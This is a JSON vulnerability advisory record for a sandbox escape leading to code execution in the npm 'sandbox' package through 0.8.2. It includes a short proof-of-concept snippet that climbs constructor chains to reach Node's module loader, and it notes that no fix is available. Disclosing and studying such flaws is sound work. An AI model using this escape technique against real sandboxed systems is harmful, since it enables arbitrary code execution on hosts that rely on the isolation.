{"id":"GHSA-fm4j-4xhm-xpwx","aliases":[],"url":"https://o3.security/vulnerability/GHSA-fm4j-4xhm-xpwx","summary":"Sandbox Breakout / Arbitrary Code Execution in sandbox","details":"All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","published":"2020-09-02T15:51:34Z","modified":"2026-02-03T17:47:49.048558Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"sandbox","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/gf3/sandbox/issues/50"},{"type":"WEB","url":"https://www.npmjs.com/advisories/766"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-02-03T17:47:49.048558Z"}}